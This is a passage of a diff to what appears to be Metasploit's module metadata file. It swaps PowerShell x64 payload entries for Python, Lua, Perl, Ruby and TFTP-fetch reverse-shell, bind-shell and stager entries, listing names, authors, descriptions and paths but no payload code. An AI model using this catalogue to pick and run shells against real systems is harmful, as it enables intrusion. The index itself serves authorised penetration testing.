+197749,9 @@ "session_types": false, "needs_cleanup": false }, - "payload_cmd/windows/powershell/x64/encrypted_shell/reverse_tcp": { - "name": "Powershell Exec, Windows Command Shell, Encrypted Reverse TCP Stager", - "fullname": "payload/cmd/windows/powershell/x64/encrypted_shell/reverse_tcp", + "payload_cmd/windows/python/pingback_reverse_tcp": { + "name": "Python Exec, Python Pingback, Reverse TCP (via python)", + "fullname": "payload/cmd/windows/python/pingback_reverse_tcp", "aliases": [ ], @@ -188259,10 +197760,9 @@ "type": "payload", "author": [ "Spencer McIntyre", - "Matt Graeber", - "Shelby Pace" + "asoto-r7" ], - "description": "Execute an x64 payload from a command via PowerShell.\n\nSpawn a piped command shell (staged).\n\nConnect to MSF and read in stage", + "description": "Execute a Python payload from a command.\n\nConnects back to the attacker, sends a UUID, then terminates", "references": [ ], @@ -188272,10 +197772,10 @@ "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2022-05-27 16:41:25 +0000", - "path": "/modules/payloads/adapters/cmd/windows/powershell/x64.rb", + "mod_time": "2023-01-20 14:53:59 +0000", + "path": "/modules/payloads/adapters/cmd/windows/python.rb", "is_install_path": true, - "ref_name": "cmd/windows/powershell/x64/encrypted_shell/reverse_tcp", + "ref_name": "cmd/windows/python/pingback_reverse_tcp", "check": false, "post_auth": false, "default_credential": false, @@ -188284,9 +197784,9 @@ "session_types": false, "needs_cleanup": false }, - "payload_cmd/windows/powershell/x64/exec": { - "name": "Powershell Exec, Windows x64 Execute Command", - "fullname": "payload/cmd/windows/powershell/x64/exec", + "payload_cmd/windows/python/shell_bind_tcp": { + "name": "Python Exec, Command Shell, Bind TCP (via python)", + "fullname": "payload/cmd/windows/python/shell_bind_tcp", "aliases": [ ], @@ -188295,9 +197795,9 @@ "type": "payload", "author": [ "Spencer McIntyre", - "sf " + "mumbai" ], - "description": "Execute an x64 payload from a command via PowerShell.\n\nExecute an arbitrary command (Windows x64)", + "description": "Execute a Python payload from a command.\n\nCreates an interactive shell via Python, encodes with base64 by design. Compatible with Python 2.4-2.7 and 3.4+.", "references": [ ], @@ -188307,10 +197807,10 @@ "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2022-05-27 16:41:25 +0000", - "path": "/modules/payloads/adapters/cmd/windows/powershell/x64.rb", + "mod_time": "2023-01-20 14:53:59 +0000", + "path": "/modules/payloads/adapters/cmd/windows/python.rb", "is_install_path": true, - "ref_name": "cmd/windows/powershell/x64/exec", + "ref_name": "cmd/windows/python/shell_bind_tcp", "check": false, "post_auth": false, "default_credential": false, @@ -188319,9 +197819,9 @@ "session_types": false, "needs_cleanup": false }, - "payload_cmd/windows/powershell/x64/loadlibrary": { - "name": "Powershell Exec, Windows x64 LoadLibrary Path", - "fullname": "payload/cmd/windows/powershell/x64/loadlibrary", + "payload_cmd/windows/python/shell_reverse_sctp": { + "name": "Python Exec, Command Shell, Reverse SCTP (via python)", + "fullname": "payload/cmd/windows/python/shell_reverse_sctp", "aliases": [ ], @@ -188330,10 +197830,9 @@ "type": "payload", "author": [ "Spencer McIntyre", - "scriptjunkie", - "sf " + "RageLtMan " ], - "description": "Execute an x64 payload from a command via PowerShell.\n\nLoad an arbitrary x64 library path", + "description": "Execute a Python payload from a command.\n\nCreates an interactive shell via Python, encodes with base64 by design. Compatible with Python 2.6-2.7 and 3.4+.", "references": [ ], @@ -188343,10 +197842,10 @@ "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2022-05-27 16:41:25 +0000", - "path": "/modules/payloads/adapters/cmd/windows/powershell/x64.rb", + "mod_time": "2023-01-20 14:53:59 +0000", + "path": "/modules/payloads/adapters/cmd/windows/python.rb", "is_install_path": true, - "ref_name": "cmd/windows/powershell/x64/loadlibrary", + "ref_name": "cmd/windows/python/shell_reverse_sctp", "check": false, "post_auth": false, "default_credential": false, @@ -188355,9 +197854,9 @@ "session_types": false, "needs_cleanup": false }, - "payload_cmd/windows/powershell/x64/messagebox": { - "name": "Powershell Exec, Windows MessageBox x64", - "fullname": "payload/cmd/windows/powershell/x64/messagebox", + "payload_cmd/windows/python/shell_reverse_tcp": { + "name": "Python Exec, Command Shell, Reverse TCP (via python)", + "fullname": "payload/cmd/windows/python/shell_reverse_tcp", "aliases": [ ], @@ -188366,9 +197865,9 @@ "type": "payload", "author": [ "Spencer McIntyre", - "pasta " + "Ben Campbell " ], - "description": "Execute an x64 payload from a command via PowerShell.\n\nSpawn a dialog via MessageBox using a customizable title, text & icon", + "description": "Execute a Python payload from a command.\n\nCreates an interactive shell via Python, encodes with base64 by design. Compatible with Python 2.4-2.7 and 3.4+.", "references": [ ], @@ -188378,10 +197877,10 @@ "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2022-05-27 16:41:25 +0000", - "path": "/modules/payloads/adapters/cmd/windows/powershell/x64.rb", + "mod_time": "2023-01-20 14:53:59 +0000", + "path": "/modules/payloads/adapters/cmd/windows/python.rb", "is_install_path": true, - "ref_name": "cmd/windows/powershell/x64/messagebox", + "ref_name": "cmd/windows/python/shell_reverse_tcp", "check": false, "post_auth": false, "default_credential": false, @@ -188390,9 +197889,9 @@ "session_types": false, "needs_cleanup": false }, - "payload_cmd/windows/powershell/x64/meterpreter/bind_ipv6_tcp": { - "name": "Powershell Exec, Windows x64 IPv6 Bind TCP Stager", - "fullname": "payload/cmd/windows/powershell/x64/meterpreter/bind_ipv6_tcp", + "payload_cmd/windows/python/shell_reverse_tcp_ssl": { + "name": "Python Exec, Command Shell, Reverse TCP SSL (via python)", + "fullname": "payload/cmd/windows/python/shell_reverse_tcp_ssl", "aliases": [ ], @@ -188401,14 +197900,11 @@ "type": "payload", "author": [ "Spencer McIntyre", - "skape ", - "sf ", - "OJ Reeves" + "RageLtMan " ], - "description": "Execute an x64 payload from a command via PowerShell.\n\nListen for an IPv6 connection (Windows x64)", + "description": "Execute a Python payload from a command.\n\nCreates an interactive shell via Python, uses SSL, encodes with base64 by design. Compatible with Python 2.6-2.7 and 3.4+.", "references": [ - "URL-https://github.com/stephenfewer/ReflectiveDLLInjection", - "URL-https://github.com/rapid7/ReflectiveDLLInjection" + ], "platform": "Windows", "arch": "cmd", @@ -188416,10 +197912,10 @@ "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2022-05-27 16:41:25 +0000", - "path": "/modules/payloads/adapters/cmd/windows/powershell/x64.rb", + "mod_time": "2023-01-20 14:53:59 +0000", + "path": "/modules/payloads/adapters/cmd/windows/python.rb", "is_install_path": true, - "ref_name": "cmd/windows/powershell/x64/meterpreter/bind_ipv6_tcp", + "ref_name": "cmd/windows/python/shell_reverse_tcp_ssl", "check": false, "post_auth": false, "default_credential": false, @@ -188428,9 +197924,9 @@ "session_types": false, "needs_cleanup": false }, - "payload_cmd/windows/powershell/x64/meterpreter/bind_ipv6_tcp_uuid": { - "name": "Powershell Exec, Windows x64 IPv6 Bind TCP Stager with UUID Support", - "fullname": "payload/cmd/windows/powershell/x64/meterpreter/bind_ipv6_tcp_uuid", + "payload_cmd/windows/python/shell_reverse_udp": { + "name": "Python Exec, Command Shell, Reverse UDP (via python)", + "fullname": "payload/cmd/windows/python/shell_reverse_udp", "aliases": [ ], @@ -188439,14 +197935,11 @@ "type": "payload", "author": [ "Spencer McIntyre", - "skape ", - "sf ", - "OJ Reeves" + "RageLtMan " ], - "description": "Execute an x64 payload from a command via PowerShell.\n\nListen for an IPv6 connection with UUID Support (Windows x64)", + "description": "Execute a Python payload from a command.\n\nCreates an interactive shell via Python, encodes with base64 by design. Compatible with Python 2.6-2.7 and 3.4+.", "references": [ - "URL-https://github.com/stephenfewer/ReflectiveDLLInjection", - "URL-https://github.com/rapid7/ReflectiveDLLInjection" + ], "platform": "Windows", "arch": "cmd", @@ -188454,10 +197947,10 @@ "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2022-05-27 16:41:25 +0000", - "path": "/modules/payloads/adapters/cmd/windows/powershell/x64.rb", + "mod_time": "2023-01-20 14:53:59 +0000", + "path": "/modules/payloads/adapters/cmd/windows/python.rb", "is_install_path": true, - "ref_name": "cmd/windows/powershell/x64/meterpreter/bind_ipv6_tcp_uuid", + "ref_name": "cmd/windows/python/shell_reverse_udp", "check": false, "post_auth": false, "default_credential": false, @@ -188466,9 +197959,9 @@ "session_types": false, "needs_cleanup": false }, - "payload_cmd/windows/powershell/x64/meterpreter/bind_named_pipe": { - "name": "Powershell Exec, Windows x64 Bind Named Pipe Stager", - "fullname": "payload/cmd/windows/powershell/x64/meterpreter/bind_named_pipe", + "payload_cmd/windows/reverse_lua": { + "name": "Windows Command Shell, Reverse TCP (via Lua)", + "fullname": "payload/cmd/windows/reverse_lua", "aliases": [ ], @@ -188476,16 +197969,11 @@ "disclosure_date": null, "type": "payload", "author": [ - "Spencer McIntyre", - "skape ", - "sf ", - "OJ Reeves", - "UserExistsError" + "xistence " ], - "description": "Execute an x64 payload from a command via PowerShell.\n\nListen for a pipe connection (Windows x64)", + "description": "Creates an interactive shell via Lua", "references": [ - "URL-https://github.com/stephenfewer/ReflectiveDLLInjection", - "URL-https://github.com/rapid7/ReflectiveDLLInjection" + ], "platform": "Windows", "arch": "cmd", @@ -188493,10 +197981,10 @@ "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2022-05-27 16:41:25 +0000", - "path": "/modules/payloads/adapters/cmd/windows/powershell/x64.rb", + "mod_time": "2022-11-22 05:49:48 +0000", + "path": "/modules/payloads/singles/cmd/windows/reverse_lua.rb", "is_install_path": true, - "ref_name": "cmd/windows/powershell/x64/meterpreter/bind_named_pipe", + "ref_name": "cmd/windows/reverse_lua", "check": false, "post_auth": false, "default_credential": false, @@ -188505,9 +197993,9 @@ "session_types": false, "needs_cleanup": false }, - "payload_cmd/windows/powershell/x64/meterpreter/bind_tcp": { - "name": "Powershell Exec, Windows x64 Bind TCP Stager", - "fullname": "payload/cmd/windows/powershell/x64/meterpreter/bind_tcp", + "payload_cmd/windows/reverse_perl": { + "name": "Windows Command, Double Reverse TCP Connection (via Perl)", + "fullname": "payload/cmd/windows/reverse_perl", "aliases": [ ], @@ -188515,15 +198003,12 @@ "disclosure_date": null, "type": "payload", "author": [ - "Spencer McIntyre", - "skape ", - "sf ", - "OJ Reeves" + "cazz ", + "aushack " ], - "description": "Execute an x64 payload from a command via PowerShell.\n\nListen for a connection (Windows x64)", + "description": "Creates an interactive shell via perl", "references": [ - "URL-https://github.com/stephenfewer/ReflectiveDLLInjection", - "URL-https://github.com/rapid7/ReflectiveDLLInjection" + ], "platform": "Windows", "arch": "cmd", @@ -188531,10 +198016,10 @@ "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2022-05-27 16:41:25 +0000", - "path": "/modules/payloads/adapters/cmd/windows/powershell/x64.rb", + "mod_time": "2022-11-22 05:49:48 +0000", + "path": "/modules/payloads/singles/cmd/windows/reverse_perl.rb", "is_install_path": true, - "ref_name": "cmd/windows/powershell/x64/meterpreter/bind_tcp", + "ref_name": "cmd/windows/reverse_perl", "check": false, "post_auth": false, "default_credential": false, @@ -188543,9 +198028,9 @@ "session_types": false, "needs_cleanup": false }, - "payload_cmd/windows/powershell/x64/meterpreter/bind_tcp_rc4": { - "name": "Powershell Exec, Bind TCP Stager (RC4 Stage Encryption, Metasm)", - "fullname": "payload/cmd/windows/powershell/x64/meterpreter/bind_tcp_rc4", + "payload_cmd/windows/reverse_powershell": { + "name": "Windows Command Shell, Reverse TCP (via Powershell)", + "fullname": "payload/cmd/windows/reverse_powershell", "aliases": [ ], @@ -188553,19 +198038,12 @@ "disclosure_date": null, "type": "payload", "author": [ - "Spencer McIntyre", - "skape ", - "sf ", - "OJ Reeves", - "hdm ", - "mihi", - "max3raza", - "RageLtMan" + "Dave Kennedy", + "Ben Campbell " ], - "description": "Execute an x64 payload from a command via PowerShell.\n\nConnect back to the attacker", + "description": "Connect back and create a command shell via Powershell", "references": [ - "URL-https://github.com/stephenfewer/ReflectiveDLLInjection", - "URL-https://github.com/rapid7/ReflectiveDLLInjection" + "URL-https://github.com/trustedsec/social-engineer-toolkit/blob/master/src/powershell/reverse.powershell" ], "platform": "Windows", "arch": "cmd", @@ -188573,21 +198051,21 @@ "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2022-05-27 16:41:25 +0000", - "path": "/modules/payloads/adapters/cmd/windows/powershell/x64.rb", + "mod_time": "2022-11-22 05:49:48 +0000", + "path": "/modules/payloads/singles/cmd/windows/reverse_powershell.rb", "is_install_path": true, - "ref_name": "cmd/windows/powershell/x64/meterpreter/bind_tcp_rc4", + "ref_name": "cmd/windows/reverse_powershell", "check": false, - "post_auth": true, + "post_auth": false, "default_credential": false, "notes": { }, "session_types": false, "needs_cleanup": false }, - "payload_cmd/windows/powershell/x64/meterpreter/bind_tcp_uuid": { - "name": "Powershell Exec, Bind TCP Stager with UUID Support (Windows x64)", - "fullname": "payload/cmd/windows/powershell/x64/meterpreter/bind_tcp_uuid", + "payload_cmd/windows/reverse_ruby": { + "name": "Windows Command Shell, Reverse TCP (via Ruby)", + "fullname": "payload/cmd/windows/reverse_ruby", "aliases": [ ], @@ -188595,15 +198073,11 @@ "disclosure_date": null, "type": "payload", "author": [ - "Spencer McIntyre", - "skape ", - "sf ", - "OJ Reeves" + "kris katterjohn " ], - "description": "Execute an x64 payload from a command via PowerShell.\n\nListen for a connection with UUID Support (Windows x64)", + "description": "Connect back and create a command shell via Ruby", "references": [ - "URL-https://github.com/stephenfewer/ReflectiveDLLInjection", - "URL-https://github.com/rapid7/ReflectiveDLLInjection" + ], "platform": "Windows", "arch": "cmd", @@ -188611,10 +198085,10 @@ "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2022-05-27 16:41:25 +0000", - "path": "/modules/payloads/adapters/cmd/windows/powershell/x64.rb", + "mod_time": "2022-11-22 05:49:48 +0000", + "path": "/modules/payloads/singles/cmd/windows/reverse_ruby.rb", "is_install_path": true, - "ref_name": "cmd/windows/powershell/x64/meterpreter/bind_tcp_uuid", + "ref_name": "cmd/windows/reverse_ruby", "check": false, "post_auth": false, "default_credential": false, @@ -188623,9 +198097,9 @@ "session_types": false, "needs_cleanup": false }, - "payload_cmd/windows/powershell/x64/meterpreter/reverse_http": { - "name": "Powershell Exec, Windows x64 Reverse HTTP Stager (wininet)", - "fullname": "payload/cmd/windows/powershell/x64/meterpreter/reverse_http", + "payload_cmd/windows/tftp/x64/custom/bind_ipv6_tcp": { + "name": "TFTP Fetch, Windows shellcode stage, Windows x64 IPv6 Bind TCP Stager", + "fullname": "payload/cmd/windows/tftp/x64/custom/bind_ipv6_tcp", "aliases": [ ], @@ -188633,15 +198107,13 @@ "disclosure_date": null, "type": "payload", "author": [ - "Spencer McIntyre", - "skape ", - "sf ", - "OJ Reeves" + "Brendan Watters", + "bwatters-r7", + "sf " ], - "description": "Execute an x64 payload from a command via PowerShell.\n\nTunnel communication over HTTP (Windows x64 wininet)", + "description": "Fetch and Execute an x64 payload from a tftp server.\n\nCustom shellcode stage.\n\nListen for an IPv6 connection (Windows x64)", "references": [ - "URL-https://github.com/stephenfewer/ReflectiveDLLInjection", - "URL-https://github.com/rapid7/ReflectiveDLLInjection" + ], "platform": "Windows", "arch": "cmd", @@ -188649,10 +198121,10 @@ "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2022-05-27 16:41:25 +0000", - "path": "/modules/payloads/adapters/cmd/windows/powershell/x64.rb", + "mod_time": "2023-03-15 19:19:19 +0000", + "path": "/modules/payloads/adapters/cmd/windows/tftp/x64.rb", "is_install_path": true, - "ref_name": "cmd/windows/powershell/x64/meterpreter/reverse_http", + "ref_name": "cmd/windows/tftp/x64/custom/bind_ipv6_tcp", "check": false, "post_auth": false, "default_credential": false, @@ -188661,9 +198133,9 @@ "session_types": false, "needs_cleanup": false }, - "payload_cmd/windows/powershell/x64/meterpreter/reverse_https": { - "name": "Powershell Exec, Windows x64 Reverse HTTP Stager (wininet)", - "fullname": "payload/cmd/windows/powershell/x64/meterpreter/reverse_https", + "payload_cmd/windows/tftp/x64/custom/bind_ipv6_tcp_uuid": { + "name": "TFTP Fetch, Windows shellcode stage, Windows x64 IPv6 Bind TCP Stager with UUID Support", + "fullname": "payload/cmd/windows/tftp/x64/custom/bind_ipv6_tcp_uuid", "aliases": [ ], @@ -188671,18 +198143,14 @@ "disclosure_date": null, "type": "payload", "author": [ - "Spencer McIntyre", - "skape ", + "Brendan Watters", + "bwatters-r7", "sf ", - "OJ Reeves", - "hdm ", - "agix", - "rwincey" + "OJ Reeves" ], - "description": "Execute an x64 payload from a command via PowerShell.\n\nTunnel communication over HTTP (Windows x64 wininet)", + "description": "Fetch and Execute an x64 payload from a tftp server.\n\nCustom shellcode stage.\n\nListen for an IPv6 connection with UUID Support (Windows x64)", "references": [ - "URL-https://github.com/stephenfewer/ReflectiveDLLInjection", - "URL-https://github.com/rapid7/ReflectiveDLLInjection" + ], "platform": "Windows", "arch": "cmd", @@ -188690,10 +198158,10 @@ "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2022-05-27 16:41:25 +0000", - "path": "/modules/payloads/adapters/cmd/windows/powershell/x64.rb", + "mod_time": "2023-03-15 19:19:19 +0000", + "path": "/modules/payloads/adapters/cmd/windows/tftp/x64.rb", "is_install_path": true, - "ref_name": "cmd/windows/powershell/x64/meterpreter/reverse_https", + "ref_name": "cmd/windows/tftp/x64/custom/bind_ipv6_tcp_uuid", "check": false, "post_auth": false, "default_credential": false, @@ -188702,9 +198170,9 @@ "session_types": false, "needs_cleanup": false }, - "payload_cmd/windows/powershell/x64/meterpreter/reverse_named_pipe": { - "name": "Powershell Exec, Windows x64 Reverse Named Pipe (SMB) Stager", - "fullname": "payload/cmd/windows/powershell/x64/meterpreter/reverse_named_pipe", + "payload_cmd/windows/tftp/x64/custom/bind_named_pipe": { + "name": "TFTP Fetch, Windows shellcode stage, Windows x64 Bind Named Pipe Stager", + "fullname": "payload/cmd/windows/tftp/x64/custom/bind_named_pipe", "aliases": [ ], @@ -188712,15 +198180,13 @@ "disclosure_date": null, "type": "payload", "author": [ - "Spencer McIntyre", - "skape ", - "sf ", - "OJ Reeves" + "Brendan Watters", + "bwatters-r7", + "UserExistsError" ], - "description": "Execute an x64 payload from a command via PowerShell.\n\nConnect back to the attacker via a named pipe pivot", + "description": "Fetch and Execute an x64 payload from a tftp server.\n\nCustom shellcode stage.\n\nListen for a pipe connection (Windows x64)", "references": [ - "URL-https://github.com/stephenfewer/ReflectiveDLLInjection", - "URL-https://github.com/rapid7/ReflectiveDLLInjection" + ], "platform": "Windows", "arch": "cmd", @@ -188728,10 +198194,10 @@ "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2022-05-27 16:41:25 +0000", - "path": "/modules/payloads/adapters/cmd/windows/powershell/x64.rb", + "mod_time": "2023-03-15 19:19:19 +0000", + "path": "/modules/payloads/adapters/cmd/windows/tftp/x64.rb", "is_install_path": true, - "ref_name": "cmd/windows/powershell/x64/meterpreter/reverse_named_pipe", + "ref_name": "cmd/windows/tftp/x64/custom/bind_named_pipe", "check": false, "post_auth": false, "default_credential": false, @@ -188740,9 +198206,9 @@ "session_types": false, "needs_cleanup": false }, - "payload_cmd/windows/powershell/x64/meterpreter/reverse_tcp": { - "name": "Powershell Exec, Windows x64 Reverse TCP Stager", - "fullname": "payload/cmd/windows/powershell/x64/meterpreter/reverse_tcp", + "payload_cmd/windows/tftp/x64/custom/bind_tcp": { + "name": "TFTP Fetch, Windows shellcode stage, Windows x64 Bind TCP Stager", + "fullname": "payload/cmd/windows/tftp/x64/custom/bind_tcp", "aliases": [ ], @@ -188750,15 +198216,13 @@ "disclosure_date": null, "type": "payload", "author": [ - "Spencer McIntyre", - "skape ", - "sf ", - "OJ Reeves" + "Brendan Watters", + "bwatters-r7", + "sf " ], - "description": "Execute an x64 payload from a command via PowerShell.\n\nConnect back to the attacker (Windows x64)", + "description": "Fetch and Execute an x64 payload from a tftp server.\n\nCustom shellcode stage.\n\nListen for a connection (Windows x64)", "references": [ - "URL-https://github.com/stephenfewer/ReflectiveDLLInjection", - "URL-https://github.com/rapid7/ReflectiveDLLInjection" + ], "platform": "Windows", "arch": "cmd", @@ -188766,10 +198230,10 @@ "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2022-05-27 16:41:25 +0000", - "path": "/modules/payloads/adapters/cmd/windows/powershell/x64.rb", + "mod_time": "2023-03-15 19:19:19 +0000", + "path": "/modules/payloads/adapters/cmd/windows/tftp/x64.rb", "is_install_path": true, - "ref_name": "cmd/windows/powershell/x64/meterpreter/reverse_tcp", + "ref_name": "cmd/windows/tftp/x64/custom/bind_tcp", "check": false, "post_auth": false, "default_credential": false, @@ -188778,9 +198242,9 @@ "session_types": false, "needs_cleanup": false }, - "payload_cmd/windows/powershell/x64/meterpreter/reverse_tcp_rc4": { - "name": "Powershell Exec, Reverse TCP Stager (RC4 Stage Encryption, Metasm)", - "fullname": "payload/cmd/windows/powershell/x64/meterpreter/reverse_tcp_rc4", + "payload_cmd/windows/tftp/x64/custom/bind_tcp_rc4": { + "name": "TFTP Fetch, Windows shellcode stage, Bind TCP Stager (RC4 Stage Encryption, Metasm)", + "fullname": "payload/cmd/windows/tftp/x64/custom/bind_tcp_rc4", "aliases": [ ], @@ -188788,19 +198252,18 @@ "disclosure_date": null, "type": "payload", "author": [ - "Spencer McIntyre", + "Brendan Watters", + "bwatters-r7", + "hdm ", "skape ", "sf ", - "OJ Reeves", - "hdm ", "mihi", "max3raza", "RageLtMan" ], - "description": "Execute an x64 payload from a command via PowerShell.\n\nConnect back to the attacker", + "description": "Fetch and Execute an x64 payload from a tftp server.\n\nCustom shellcode stage.\n\nConnect back to the attacker", "references": [ - "URL-https://github.com/stephenfewer/ReflectiveDLLInjection", - "URL-https://github.com/rapid7/ReflectiveDLLInjection" + ], "platform": "Windows", "arch": "cmd", @@ -188808,10 +198271,10 @@ "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2022-05-27 16:41:25 +0000", - "path": "/modules/payloads/adapters/cmd/windows/powershell/x64.rb", + "mod_time": "2023-03-15 19:19:19 +0000", + "path": "/modules/payloads/adapters/cmd/windows/tftp/x64.rb", "is_install_path": true, - "ref_name": "cmd/windows/powershell/x64/meterpreter/reverse_tcp_rc4", + "ref_name": "cmd/windows/tftp/x64/custom/bind_tcp_rc4", "check": false, "post_auth": true, "default_credential": false, @@ -188820,9 +198283,9 @@ "session_types": false, "needs_cleanup": false }, - "payload_cmd/windows/powershell/x64/meterpreter/reverse_tcp_uuid": { - "name": "Powershell Exec, Reverse TCP Stager with UUID Support (Windows x64)", - "fullname": "payload/cmd/windows/powershell/x64/meterpreter/reverse_tcp_uuid", + "payload_cmd/windows/tftp/x64/custom/bind_tcp_uuid": { + "name": "TFTP Fetch, Windows shellcode stage, Bind TCP Stager with UUID Support (Windows x64)", + "fullname": "payload/cmd/windows/tftp/x64/custom/bind_tcp_uuid", "aliases": [ ], @@ -188830,15 +198293,14 @@ "disclosure_date": null, "type": "payload", "author": [ - "Spencer McIntyre", - "skape ", + "Brendan Watters", + "bwatters-r7", "sf ", "OJ Reeves" ], - "description": "Execute an x64 payload from a command via PowerShell.\n\nConnect back to the attacker with UUID Support (Windows x64)", + "description": "Fetch and Execute an x64 payload from a tftp server.\n\nCustom shellcode stage.\n\nListen for a connection with UUID Support (Windows x64)", "references": [ - "URL-https://github.com/stephenfewer/ReflectiveDLLInjection", - "URL-https://github.com/rapid7/ReflectiveDLLInjection" + ], "platform": "Windows", "arch": "cmd", @@ -188846,10 +198308,10 @@ "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2022-05-27 16:41:25 +0000", - "path": "/modules/payloads/adapters/cmd/windows/powershell/x64.rb", + "mod_time": "2023-03-15 19:19:19 +0000", + "path": "/modules/payloads/adapters/cmd/windows/tftp/x64.rb", "is_install_path": true, - "ref_name": "cmd/windows/powershell/x64/meterpreter/reverse_tcp_uuid", + "ref_name": "cmd/windows/tftp/x64/custom/bind_tcp_uuid", "check": false, "post_auth": false, "default_credential": false, @@ -188858,9 +198320,9 @@ "session_types": false, "needs_cleanup": false }, - "payload_cmd/windows/powershell/x64/meterpreter/reverse_winhttp": { - "name": "Powershell Exec, Windows x64 Reverse HTTP Stager (winhttp)", - "fullname": "payload/cmd/windows/powershell/x64/meterpreter/reverse_winhttp", + "payload_cmd/windows/tftp/x64/custom/reverse_http": { + "name": "TFTP Fetch, Windows shellcode stage, Windows x64 Reverse HTTP Stager (wininet)", + "fullname": "payload/cmd/windows/tftp/x64/custom/reverse_http", "aliases": [ ], @@ -188868,15 +198330,13 @@ "disclosure_date": null, "type": "payload", "author": [ - "Spencer McIntyre", - "skape ", - "sf ", + "Brendan Watters", + "bwatters-r7", "OJ Reeves" ], - "description": "Execute an x64 payload from a command via PowerShell.\n\nTunnel communication over HTTP (Windows x64 winhttp)", + "description": "Fetch and Execute an x64 payload from a tftp server.\n\nCustom shellcode stage.\n\nTunnel communication over HTTP (Windows x64 wininet)", "references": [ - "URL-https://github.com/stephenfewer/ReflectiveDLLInjection", - "URL-https://github.com/rapid7/ReflectiveDLLInjection" + ], "platform": "Windows", "arch": "cmd", @@ -188884,10 +198344,10 @@ "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2022-05-27 16:41:25 +0000", - "path": "/modules/payloads/adapters/cmd/windows/powershell/x64.rb", + "mod_time": "2023-03-15 19:19:19 +0000", + "path": "/modules/payloads/adapters/cmd/windows/tftp/x64.rb", "is_install_path": true, - "ref_name": "cmd/windows/powershell/x64/meterpreter/reverse_winhttp", + "ref_name": "cmd/windows/tftp/x64/custom/reverse_http", "check": false, "post_auth": false, "default_credential": false, @@ -188896,9 +198356,9 @@ "session_types": false, "needs_cleanup": false }, - "payload_cmd/windows/powershell/x64/meterpreter/reverse_winhttps": { - "name": "Powershell Exec, Windows x64 Reverse HTTPS Stager (winhttp)", - "fullname": "payload/cmd/windows/powershell/x64/meterpreter/reverse_winhttps", + "payload_cmd/windows/tftp/x64/custom/reverse_https": { + "name": "TFTP Fetch, Windows shellcode stage, Windows x64 Reverse HTTP Stager (wininet)", + "fullname": "payload/cmd/windows/tftp/x64/custom/reverse_https", "aliases": [ ], @@ -188906,15 +198366,15 @@ "disclosure_date": null, "type": "payload", "author": [ - "Spencer McIntyre", - "skape ", - "sf ", - "OJ Reeves" + "Brendan Watters", + "bwatters-r7", + "hdm ", + "agix", + "rwincey" ], - "description": "Execute an x64 payload from a command via PowerShell.\n\nTunnel communication over HTTPS (Windows x64 winhttp)", + "description": "Fetch and Execute an x64 payload from a tftp server.\n\nCustom shellcode stage.\n\nTunnel communication over HTTP (Windows x64 wininet)", "references": [ - "URL-https://github.com/stephenfewer/ReflectiveDLLInjection", - "URL-https://github.com/rapid7/ReflectiveDLLInjection" + ], "platform": "Windows", "arch": "cmd", @@ -188922,10 +198382,10 @@ "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2022-05-27 16:41:25 +0000", - "path": "/modules/payloads/adapters/cmd/windows/powershell/x64.rb", + "mod_time": "2023-03-15 19:19:19 +0000", + "path": "/modules/payloads/adapters/cmd/windows/tftp/x64.rb", "is_install_path": true, - "ref_name": "cmd/windows/powershell/x64/meterpreter/reverse_winhttps", + "ref_name": "cmd/windows/tftp/x64/custom/reverse_https", "check": false, "post_auth": false, "default_credential": false, @@ -188934,9 +198394,9 @@ "session_types": false, "needs_cleanup": false }, - "payload_cmd/windows/powershell/x64/peinject/bind_ipv6_tcp": { - "name": "Powershell Exec, Windows x64 IPv6 Bind TCP Stager", - "fullname": "payload/cmd/windows/powershell/x64/peinject/bind_ipv6_tcp", + "payload_cmd/windows/tftp/x64/custom/reverse_named_pipe": { + "name": "TFTP Fetch, Windows shellcode stage, Windows x64 Reverse Named Pipe (SMB) Stager", + "fullname": "payload/cmd/windows/tftp/x64/custom/reverse_named_pipe", "aliases": [ ], @@ -188944,11 +198404,11 @@ "disclosure_date": null, "type": "payload", "author": [ - "Spencer McIntyre", - "ege ", - "sf " + "Brendan Watters", + "bwatters-r7", + "OJ Reeves" ], - "description": "Execute an x64 payload from a command via PowerShell.\n\nListen for an IPv6 connection (Windows x64)", + "description": "Fetch and Execute an x64 payload from a tftp server.\n\nCustom shellcode stage.\n\nConnect back to the attacker via a named pipe pivot", "references": [ ], @@ -188958,10 +198418,10 @@ "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2022-05-27 16:41:25 +0000", - "path": "/modules/payloads/adapters/cmd/windows/powershell/x64.rb", + "mod_time": "2023-03-15 19:19:19 +0000", + "path": "/modules/payloads/adapters/cmd/windows/tftp/x64.rb", "is_install_path": true, - "ref_name": "cmd/windows/powershell/x64/peinject/bind_ipv6_tcp", + "ref_name": "cmd/windows/tftp/x64/custom/reverse_named_pipe", "check": false, "post_auth": false, "default_credential": false, @@ -188970,9 +198430,9 @@ "session_types": false, "needs_cleanup": false }, - "payload_cmd/windows/powershell/x64/peinject/bind_ipv6_tcp_uuid": { - "name": "Powershell Exec, Windows x64 IPv6 Bind TCP Stager with UUID Support", - "fullname": "payload/cmd/windows/powershell/x64/peinject/bind_ipv6_tcp_uuid", + "payload_cmd/windows/tftp/x64/custom/reverse_tcp": { + "name": "TFTP Fetch, Windows shellcode stage, Windows x64 Reverse TCP Stager", + "fullname": "payload/cmd/windows/tftp/x64/custom/reverse_tcp", "aliases": [ ], @@ -188980,12 +198440,11 @@ "disclosure_date": null, "type": "payload", "author": [ - "Spencer McIntyre", - "ege ", - "sf ", - "OJ Reeves" + "Brendan Watters", + 